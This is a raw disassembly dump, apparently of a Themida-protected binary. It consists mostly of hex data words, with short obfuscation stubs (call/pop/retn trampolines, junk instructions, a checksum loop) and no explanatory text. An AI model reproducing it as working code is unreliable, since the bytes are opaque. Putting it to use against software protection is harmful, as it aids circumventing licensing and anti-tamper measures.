0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0D8C35343h, 7D6EA7ECh dd 80F33C60h, 0D58D898Eh, 66061527h, 0A6DFDB81h, 0C02BF8FCh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0D4C35040h dd 0BAE9FA21h, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5CA68B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA68B proc near ; CODE XREF: Themida_:005CA683p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5CA68B endp ; --------------------------------------------------------------------------- sbb [edi+4Bh], dl cld inc esi jmp loc_5CA6B3 ; --------------------------------------------------------------------------- db 0E7h, 6Ah, 0E6h dd 2280375Bh, 0D1195ED5h db 0A2h, 0CBh, 0AEh ; --------------------------------------------------------------------------- loc_5CA6B3: ; CODE XREF: Themida_:005CA6A0j ; Themida_:005CA6BDj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5CA6B3 push 0 push ebx call sub_5CA6CA and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA6CA proc near ; CODE XREF: Themida_:005CA6C2p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5CA6CA endp ; --------------------------------------------------------------------------- dw 0DC87h dd 0E8068C2Eh, 10h dword_5CA6E4 dd 3C086FD9h, 736F4ADBh, 0D59F3EF7h, 9FFF2529h, 26259D89h ; DATA XREF: Themida_:0057AE44o dd 895F0615h, 151415BDh, 880D06h, 8E90000h, 0DC000000h dd 5D1D503Ah, 8B3D2121h, 15272195h, 0C381F906h, 5AAA6D0h dd 4CD8D8Bh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 73EB5AC3h, 9B9510B3h, 8B500BA5h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E6C35646h, 800FAA05h dd 6, 2275BD23h, 9D230615h, 61512FDh, 6AD9B70Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0E853C353h, 71AA30D6h, 0F83EAF77h, 18A9BD83h, 0F000615h dd 7884h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0CD9D095Bh, 0B806152Dh, 0 ; --------------------------------------------------------------------------- mov edi, ecx clc lea ecx, [ebp+6154F9Eh] push 0 push edi call sub_5CA7FC and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA7FC proc near ; CODE XREF: Themida_:005CA7F4p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5CA7FC endp ; --------------------------------------------------------------------------- dd 6AE1FFE9h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 47DC351h, 0CF593D60h, 81E8ADB5h dd 28E01DCBh, 15BD837Fh, 61511h, 3A0840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 8337ACC3h, 151115BDh, 840F0106h, 391h, 8353F380h, 151115BDh dd 860F0306h, 34Bh, 6A60F5h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0F529C5C3h, 9CF791CFh dd 58D0F97h, 66000000h, 0EB5D781h, 1D19B589h, 8C660615h dd 41BD89D9h, 80061523h, 6A04E1h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0E69E93C3h, 287372B7h dd 0E99FD14Ch, 12h, 9415D25Ch, 98594C10h, 0F4B03EEEh, 0DD37AE68h dd 8D09A154h, 61507C1h, 840FC90Ah, 0E9h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 14h, 0D3C35040h, 2379B589h dd 8B600615h, 1525D585h, 858B6106h, 615249Dh, 0B58533F8h dd 0E9061519h, 7, 0B0B28557h, 90C6DBB8h, 48C0F51h, 66000000h dd 5B445ABBh, 6A9050h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 5F134AC3h, 0C3AAAA7Bh, 7EBB66A3h dd 999D8B62h, 6A06151Dh, 0E343BF00h, 0BD8B289Eh, 61505D5h dd 73743868h, 7BF6623h, 2434815Dh, 236C77C7h, 1605BD0Bh dd 0BD8B0615h, 615167Dh, 0DAD95FFh, 6A0615h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0DF2A97C3h dd 0BF998589h, 9D890618h, 6150FD5h, 16DE9h, 0DBD8B00h dd 3106152Fh, 151A558Dh, 91858B06h, 6A0618BFh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 81A1C350h, 1CC49CCBh, 0EDB5892Fh, 0C706152Ah, 1800h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 925B631Dh, 8B62E663h, 18BF95B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0D4DEF8FCh, 0D3E7183Ah, 30A99D8Bh, 858B0615h, 6150C45h dd 59D8Bh, 6890615h, 11E9h, 39BF5700h, 3567A95h, 520782E1h dd 0D1AEDA10h, 0A9BB43E9h, 8B4DA0B9h, 15249D85h, 0D8DB8006h dd 81044689h, 0A26590DBh, 0EEB3502Ch, 66243489h, 0B5FFD98Bh dd 618BF91h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 55C35040h, 807468FEh, 14E9A3C7h, 54000000h, 2A6A8CBh dd 450A9198h, 2ACC21EEh, 0D371CE26h, 8135D3FAh, 838B2404h dd 9D8B5C57h, 6150C49h, 0BF99858Dh, 6A0618h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B6B10C3h dd 150CD1BDh, 0C159BB06h, 5090433Ah, 5E9h, 5F20000h, 6690CBFEh dd 95FFF98Bh, 6150DADh, 2399BD89h, 8B610615h, 15169D9Dh dd 68E0F06h, 8B000000h, 150D4D9Dh, 1585C706h, 3061511h dd 8B000000h, 1516BDBDh, 99BD8306h, 618BFh, 45840Fh, 11E80000h dd 73000000h, 0DB80C6F2h, 43C9CCCEh, 0DF36B25Bh, 24064432h dd 0AE8h, 543C3300h, 0AC41D346h, 66B8E717h, 7380CB81h dd 2FE95F5Bh, 8B000000h, 152F959Dh, 0BD896006h, 6150655h dd 10419589h, 50610615h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 0BD89C08Bh, 6153011h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 52C35646h, 17FEB9C7h dd 852947F9h, 6152869h, 1115BD83h, 0F030615h, 37885h, 0D19D2B00h dd 83061503h, 18BF99BDh, 840F0006h, 365h, 9819D89h, 0B5FF0615h dd 618BF99h, 0CF5BD29h, 95FF0615h, 61510E1h, 0B58BDA8Bh dd 618BF8Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 34C35141h, 5CD2CD33h, 106C7D9h, 66000100h, 0F668D381h dd 24348950h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 11C35343h, 0B5FF78D2h, 618BF99h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Bh, 8CC35747h, 3124C717h dd 0FFC833C1h, 1506A195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0BF94AA25h dd 9195E6DCh, 0C281609Dh, 145E4D40h, 0C6DBD29h, 8B610615h dd 18BF8DB5h, 12E906h, 4AC70000h, 648DF453h, 42D090DFh dd 0F92C04F9h, 0D3CE78BEh, 59858Bh, 0BD8B0615h, 6150321h dd 0C48689h, 8D890000h, 6151889h, 2721958Bh, 6A0615h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 6C6360C3h, 34459501h, 810F0615h, 6, 2F5D9D31h, 0C2830615h dd 95896004h, 6150AB9h, 0A0B7BE66h, 28F0F61h, 8B000000h dd 205089F9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 4C35545h, 58858D90h, 6A0618D4h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0F120C352h dd 7B3A095Fh, 1605BD23h, 86890615h, 0B8h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A4C35747h, 40A6C600h dd 248E0B90h, 6A006ACEh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 265BC357h, 9D330DDDh dd 61521B5h, 24A9BD33h, 0B5FF0615h, 618BF99h, 0FF57D380h dd 151D4D95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 8B9604E8h, 810F50FEh, 4, 0EBFFBB66h dd 5E996h, 7BCE0000h, 0FF01AC6Bh, 18BF99B5h, 6890F06h dd 81000000h, 213BFEDFh, 2995FF74h, 0BF061507h, 72FF4884h dd 65BD83h, 0F000615h, 4D84h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 6EF1214Dh dd 10E8h, 5FB74900h, 99CD587Fh, 0CDC4D5D0h, 2C2E3CCDh dd 658529EBh, 5F061502h, 8B525050h, 66310FF8h, 585AF98Bh dd 66243489h, 0B5FFF88Bh, 618BF99h, 61F68160h, 667ABB73h dd 615DCDBBh, 43995FFh, 0B5890615h, 6151031h, 0BF99B5FFh dd 2FB70618h, 0DCD95FFh, 95010615h, 61519CDh, 285DBD83h dd 0F020615h, 4284h, 0E8E1B300h, 5, 1C870E0Ah, 8B5FF8D4h dd 15284985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 58C6FA3Ch, 171D12BAh, 2E599509h dd 0C60615h, 0C75B5700h, 1523F585h, 6, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 5812372Dh, 66002B66h, 0A78EC781h, 0F48EE9FCh, 6AFFFFh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 11B410C3h, 958944FCh, 6150191h, 6AC18Bh, 3E855h, 5D200000h dd 6C895DC3h dd 44810424h, 190424h, 55450000h, 56EA1EC3h, 89A302F3h dd 1519CD85h ; --------------------------------------------------------------------------- push es loc_5CB025: ; CODE XREF: Themida_:loc_5CA37Aj lea eax, [ebp+615279Dh] push 0 push edx call sub_5CB036 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB036 proc near ; CODE XREF: Themida_:005CB02Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5CB036 endp ; --------------------------------------------------------------------------- dw 9C17h dd 421558B7h, 12E9h, 888EE700h, 2D36D024h, 8B1C2C79h, 0D0CB9C6Bh dd 90B54477h, 0F18B6660h, 12E8h, 0AAA30F00h, 0A0637402h dd 8D71404Dh, 4D0CDD1Fh, 51EB8474h, 50615B5Ah, 56006A90h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0FC345675h, 22C19589h, 81660615h, 6A7638DBh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0F006A92h, 285h, 8D5B5300h, 1A17D085h, 5BD8906h, 83061530h dd 9D8905C0h, 6152D01h, 6E890h, 0E48A0000h, 0C9D4831Ch dd 0DE8505Fh, 0EB000000h, 0D3AF8279h, 33CC5898h, 0AA07CA65h dd 7868BF66h, 6A905Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 2114CEC3h, 0FC7BFBAh, 6A561Ah, 321BD8Bh dd 0BD8B0615h, 6153379h, 0BD89006Ah, 6152F95h, 7995FFF8h dd 57061526h, 8D5FDE8Bh, 189C158Dh, 0C5BD0106h, 8B061524h dd 1509E5BDh, 83D1FF06h, 152DB5BDh, 850F0106h, 87h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 9AC35646h, 6C7455D3h dd 0E27F3F1h, 0BF66026Ah, 0E990CF27h, 13h, 0B1EFC155h dd 895680EBh, 1638278Dh, 615AEACAh, 505033E9h, 0E0BB6651h dd 6A905F9Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0FDCAC355h, 0F601876h, 480h, 0BDBE6600h dd 6661FCC0h, 0FFEAA2BFh, 151D4D95h, 4D9D3306h, 0E9061506h dd 0F39h, 0E8h, 0ED815D00h, 61A17DAh, 0AE9h, 7D9C6500h dd 0AD733D6h, 0E9A11AABh, 0Eh, 0AA5E34A8h, 0E05F92BFh dd 9C7C2291h, 6A1CEAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 386D14C3h, 0BA835ABCh, 34399589h dd 858D0615h, 61888F9h, 6BFFBF66h, 50525090h, 0FF98B52h dd 5A05B331h, 57310F58h, 5A5F5F50h, 0BB665058h, 6A908058h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0BDE9C357h, 35FF64h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 3869C357h, 0A253B878h, 0F883645h, 148Eh, 0FE900h, 199A0000h dd 0DB60B255h, 1228296Eh, 2871F593h, 2589648Ah, 0 ; --------------------------------------------------------------------------- mov [ebp+6152219h], edx inc dword ptr [ebp+6151535h] push 0 push ebx call sub_5CB2FF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB2FF proc near ; CODE XREF: Themida_:005CB2F7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5CB2FF endp ; --------------------------------------------------------------------------- db 1Fh dd 0FF6A26E6h, 291DBD8Bh, 0B5FF0615h, 6152CBDh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 1EC35141h, 0D781912Dh dd 10A7DC28h, 8BD95FFh, 53E90615h, 0B0000001h, 0CE900h dd 0F5630000h, 2948FC1h, 0CA961A2Eh, 70E60B6Ah, 9299D8Bh dd 0E4F50615h, 0DB816671h, 613CB1DCh, 128830Fh, 31600000h dd 150AC5B5h, 0FE9EBF06h, 0E8610876h, 12h, 0F0BBCE90h dd 42BD41D2h, 4C6E54E4h, 0BBAFBA5Fh, 0BB664FE3h, 0F5BE2E6h dd 8501C8B6h, 61514C5h, 6BAh, 0B5296000h, 6152309h, 2351BD29h dd 8B610615h, 0AE52BBC1h, 0E8C16B28h, 0C5BD8904h, 6606151Ch dd 0C82BE2F7h, 269D9D8Bh, 0D18B0615h, 5BEF8166h, 0BCE973h dd 95890000h, 61526FDh, 0CE9h, 3E37F900h, 56E9CADFh, 0F6A22A30h dd 49858B05h, 8344004Eh, 0D5BF07C0h, 831D3CA7h, 0AE900C0h dd 0EE000000h, 645A7F51h, 0EDE3E1F2h, 0FD03BCEh, 1883h dd 81665600h, 5FC92BCBh, 71E9h, 68C0F00h, 8B000000h, 151C95BDh dd 0FF8D8B06h, 66FFFFFFh, 947AE381h, 0F01E183h, 5184h dd 9E800h, 1B9F0000h, 0F63540F1h, 0F50331F6h, 0FFA5835Bh dd 0FEFFFFFFh, 12E8h, 6FB3C000h, 3589AE42h, 0B4923275h dd 0CC46F76Bh, 0E84C80C1h, 6, 0C091AE9Ah, 94BB5A67h, 5F3840AEh dd 4995895Bh, 8944004Eh, 152D918Dh, 0E906h, 0B58D0000h dd 6199057h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0ACC35545h, 411E529Dh, 32A1BAD1h, 68A0F26h, 8B000000h dd 1525B5BDh, 80006A06h, 95FF6ACFh, 6152E21h, 81E6F381h dd 0D2B957DBh, 2900000Fh, 1502A99Dh, 0EF816606h, 0E18394BEh dd 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0CB81667Bh, 6AFC31D9h, 3E85300h dword_5CB524 dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h ; DATA XREF: Themida_:0057C190o dd 0BB47C353h, 0E88C2D1Bh, 0Eh dword_5CB544 dd 0C7EAC9E5h, 0EEF5841h, 27205FD2h, 96BFC1D5h, 5B3B8800h ; DATA XREF: Themida_:00579E30o dd 0B8h, 14E800h, 0CE510000h, 0BA40B02Ah, 93C2642Ah, 3D4573A5h dd 0C402DAECh, 8B662600h, 0D22B5FF8h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 58C35646h, 4D7893E7h, 0F90EA08h dd 588h, 9BB7BF00h, 33AD6DE3h, 3E8D1C2h, 4E983D0h, 6AF475h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0AD5CE6C3h, 898B4569h, 1504019Dh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 40300CAAh dd 3127FC3Ah, 0E3814362h, 41AFAF19h, 880Dh, 0A5BD2300h dd 8B06151Ch, 15272195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 1B568236h, 252F5B3Eh dd 4CD8D8Bh, 800F0615h, 2, 8B50FE8Bh, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 8343BB66h, 8C98589h, 6A0615h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 8FC35C3h, 0DE8B3F23h, 18A9BD83h, 0F000615h, 6684h, 659D8B00h dd 0B8061518h, 0 ; --------------------------------------------------------------------------- push ecx jge loc_5CB6AA sub bh, 0C5h loc_5CB6AA: ; CODE XREF: Themida_:005CB6A1j pop edi lea ecx, [ebp+6154F9Eh] push 0 push esi call sub_5CB6BC and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB6BC proc near ; CODE XREF: Themida_:005CB6B4p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5CB6BC endp ; --------------------------------------------------------------------------- mov byte ptr [edx-67h], 0CFh cmc mov ebx, eax jmp ecx ; --------------------------------------------------------------------------- push 0 push ebx call sub_5CB6E0 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CB6E0 proc near ; CODE XREF: Themida_:005CB6D8p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5CB6E0 endp ; --------------------------------------------------------------------------- dd 96B96FF0h, 719529EFh, 83061525h, 151115BDh, 840F0006h dd 574h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0C4C35747h, 51675D33h, 0E8B8BC36h, 7, 697C6595h dd 89132C76h, 152DA195h, 0F3805F06h, 15BD83CAh, 1061511h dd 549840Fh, 81660000h, 836C31F7h, 151115BDh, 860F0306h dd 501h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 22C35747h, 0DCFAF2FFh, 4C18C913h, 27A19D8Bh, 89560615h dd 15072585h, 6A605F06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0C508C350h, 6052CBD6h dd 0FE9FCh, 83D20000h, 0A7B08772h, 633D792h, 0D8DB3AE9h dd 9D8B6168h, 61533BDh, 6AD98C66h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0ABC5C355h dd 2654BB66h, 6A04E180h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 4E24C353h, 0E9C1E610h dd 11h, 0CAA931FCh, 50708B33h, 0E21DFFB3h, 0DA7AC146h dd 0FAB70F80h, 840FC90Ah, 1AAh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 51C35040h, 0E0BA5623h, 858B9C62h dd 615249Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0DBC35646h, 0D353B79Dh, 89AA5F7Ch, 1524B195h, 4BBF6606h dd 8B6660D5h, 4840FDFh, 66000000h, 6173E0BEh, 19B58533h dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 9D8973C3h, 615170Dh, 58E0F50h, 0BB000000h dd 36B3A024h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0D798C352h, 0E3569A99h dd 6A006A78h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 6FA4C356h, 9D89566Dh, 61526A5h dd 615C685Bh, 0BF66D96Fh, 4811D19h, 0AFA2A324h, 52006A26h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0B64462B8h, 110BF38h, 52BF6651h, 95FF5F2Ch, 6150DADh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0EEC35646h dd 645A7F51h, 66E3E1F2h, 89AF23BBh, 18BF9985h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0FD6AACBEh, 0D3A5B3D6h, 28759D8Bh, 0EBE90615h, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 806FC355h, 4BDC922Ah, 33BD9D8Bh, 0BB660615h dd 858B499Fh, 618BF91h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 21C35343h, 2882C85Bh, 8BC67AA5h, 1518C5BDh dd 1800C706h, 89000000h, 15115DB5h, 8BD88B06h, 18BF95B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 556FBC5Bh, 0EC6D80A8h, 0CA9BD33h, 858B0615h dd 6150C45h, 9C99D8Bh, 6890615h, 10E9h, 4574CC00h, 601B50A8h dd 5E35B8EAh, 0E6EBBF79h, 0B98D313Ah, 8B061509h, 15249D85h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 446895Eh, 8EBF6696h, 0FE8505Eh, 2B000000h dd 0A29F5524h, 7D08E659h, 0ABF9B3EAh, 0CE93FE3h, 3D000000h dd 0F1DB99C6h, 8ED1CD00h, 5FFEDFD2h, 55006A96h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0F7D619DDh dd 0D19D89CBh, 8106152Dh, 0FBE5DDE3h, 0C9B52929h, 0FF06150Dh dd 18BF91B5h, 0D9BD8B06h, 68061522h, 0E05D67C3h, 81F98B66h dd 9C3C2404h, 0B70F1FC1h, 99858DFFh, 520618BFh, 0D5EF8166h dd 0E8905F37h, 0Fh, 724DEA2Fh, 0E9871161h, 0AA6FCBE9h dd 665D9A96h, 505FD88Bh, 7F77BB66h, 57006A90h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0DF7060E1h dd 9CA288CCh, 39D5C381h, 95890162h, 6152799h, 0DAD95FFh dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0EE4B19C3h, 411CC24Fh, 22F19509h, 6A610615h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 129BC353h, 0FBB70F74h, 111585C7h, 30615h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 71AD74C3h, 9B6688F0h, 0BD83A81Ch, 618BF99h dd 62840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 88D7C352h, 0BB664147h dd 55E97C60h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 7716C350h, 13E8h, 9F77E100h dd 0FC7DD294h, 493202B0h, 0D81DAD68h, 3BACE58Ah, 5BDA8B53h dd 0C30505Fh, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 1615BD8Bh, 0BD890615h, 6150FC5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 73C35545h, 0F1392302h dd 3C59589h, 0BD830615h, 6151115h, 0DC850F03h, 83000003h dd 18BF99BDh, 840F0006h, 3CFh, 0EE8h, 34F99200h, 359B4579h dd 1B023BDFh, 2B19370Ah, 1522B5BDh, 0B5FF5B06h, 618BF99h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 9BC35040h dd 0FF96123Dh, 1510E195h, 1464BF06h, 0B58B6178h, 618BF8Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 76C35646h dd 85BD8BFEh, 0C7061519h, 1000106h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 50FCE191h dd 34895F50h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 5FA5E7BAh, 4890Fh, 0BB660000h, 0B5FF6A78h dd 618BF99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 70C35545h, 0D3405F32h, 0DBB70FDBh, 6A195FFh, 850F0615h dd 5, 7FEF8166h, 8DB58BB3h, 6A0618BFh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B88C351h dd 1525699Dh, 59858B06h, 0BF061500h, 49F0905h, 313BBB66h dd 0C48689h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 4B98ECC3h, 8127A5FFh, 0A785AAD3h dd 21958B65h, 6A061527h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0D88DC350h, 59B6B75Ah dd 83F170D2h, 6A04C2h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 932860C3h, 5C26A84Bh, 840FEDh, 0F000000h dd 281h, 8973B700h, 14E82050h, 40000000h, 4A2144F3h, 0CFF9CFEDh dd 78E1D9D5h, 1CDB3E9Bh, 0BBB839E8h, 2000B2E0h, 58858D5Bh dd 6A0618D4h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0F6CC355h, 386h, 0D8EB8000h, 0B88689h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 5C5B15C3h, 2F104DF0h, 6A2355C0h, 15DF8100h, 0FF631074h dd 18BF99B5h, 0BD8BF806h, 6153041h, 1D4D95FFh, 5E80615h dd 0B6000000h, 0A4ED51CCh, 0CE9h, 59C8B800h, 31C646Ch dd 23DDD4E7h, 8B965B02h, 525050D8h, 0B2C874BBh, 8B310F39h dd 96585ADAh, 1615B589h, 0DB810615h, 6A45AF02h, 0BF99B5FFh dd 81660618h, 0FFFF47F3h, 15072995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0FBB595A2h dd 57533B3Eh, 11E8h, 9B0E900h, 0CDDE0305h, 95E9AB4Fh, 8C25A4AAh dd 858983C7h, 6152505h, 65BD835Fh, 61500h, 14840Fh, 0CF810000h dd 44468B63h, 1258BB50h, 34894E1Bh, 548EBF24h, 0B5FF3DA8h dd 618BF99h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 41C35747h, 0C660E70Fh, 9D8BF486h, 615283Dh, 43995FFh dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 345E36C3h, 99B5FFE4h, 890618BFh, 1508D585h dd 0CD95FF06h, 0F06150Dh, 0BD83FAB7h, 615285Dh, 42840F02h dd 8B000000h, 2890FD9h, 50000000h, 49858B5Bh, 81061528h dd 3BF879DBh, 0C629h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0DDC35141h, 5C1A0CB4h, 2830F01h, 0B3000000h dd 0F585C7D4h, 61523h, 0F000000h, 68Bh, 0B99D8B00h, 0E9061518h dd 0FFFFF23Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 8FC35343h, 4F56DE6Ah, 0E9543FBAh, 7, 592C64BCh dd 8B843AB8h, 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 3779A661h, 0BEFE2EBEh, 0E857B917h dd 5, 0D7F0661Fh, 999D2B81h, 5F061523h, 9D858D5Bh, 6A061527h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0B459C351h, 0F5BB50A8h, 8973CCF1h, 850F2404h dd 3, 6AD88B66h, 0FFBF0F00h, 